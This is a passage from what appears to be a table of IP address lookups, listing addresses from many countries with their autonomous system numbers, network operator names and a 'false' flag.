5617 TPNETPL false
95.57.209.116
 unknown Kazakhstan
9198 KAZTELECOM-ASKZ false
198.25.182.11
 unknown United States
367 DNIC-ASBLK-00306-00371US false
91.165.102.127
 unknown France
12322 PROXADFR false
84.188.60.136
 unknown Germany
3320 DTAGInternetserviceprovideroperationsDE false
76.38.189.120
 unknown United States
18494 CENTURYLINK-LEGACY-EMBARQ-WRBGUS false
171.80.13.140
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
16.52.138.175
 unknown United States
unknown unknown false
202.3.246.254
 unknown French Polynesia
9471 ONATI-AS-APONATIPF false
138.40.85.175
 unknown United Kingdom
786 JANETJiscServicesLimitedGB false
40.217.25.101
 unknown United States
4249 LILLY-ASUS false
194.2.236.14
 unknown France
3215 FranceTelecom-OrangeFR false
76.92.108.204
 unknown United States
11426 TWC-11426-CAROLINASUS false
4.210.58.117
 unknown United States
3356 LEVEL3US false
198.123.247.15
 unknown United States
297 AS297US false
7.13.248.90
 unknown United States
3356 LEVEL3US false
76.99.208.162
 unknown United States
7922 COMCAST-7922US false
201.163.94.126
 unknown Mexico
11172 AlestraSdeRLdeCVMX false
6.204.7.218
 unknown United States
3356 LEVEL3US false
18.13.111.78
 unknown United States
3 MIT-GATEWAYSUS false
202.76.213.207
 unknown Japan 23805 WATVNETWataraseTelevisionCoLtdJP false
48.155.252.8
 unknown United States
2686 ATGS-MMD-ASUS false
220.122.39.88
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
1.229.213.67
 unknown Korea Republic of
9277 SKB-T-AS-KRSKBroadbandCoLtdKR false
156.98.176.238
 unknown United States
1998 STATE-OF-MNUS false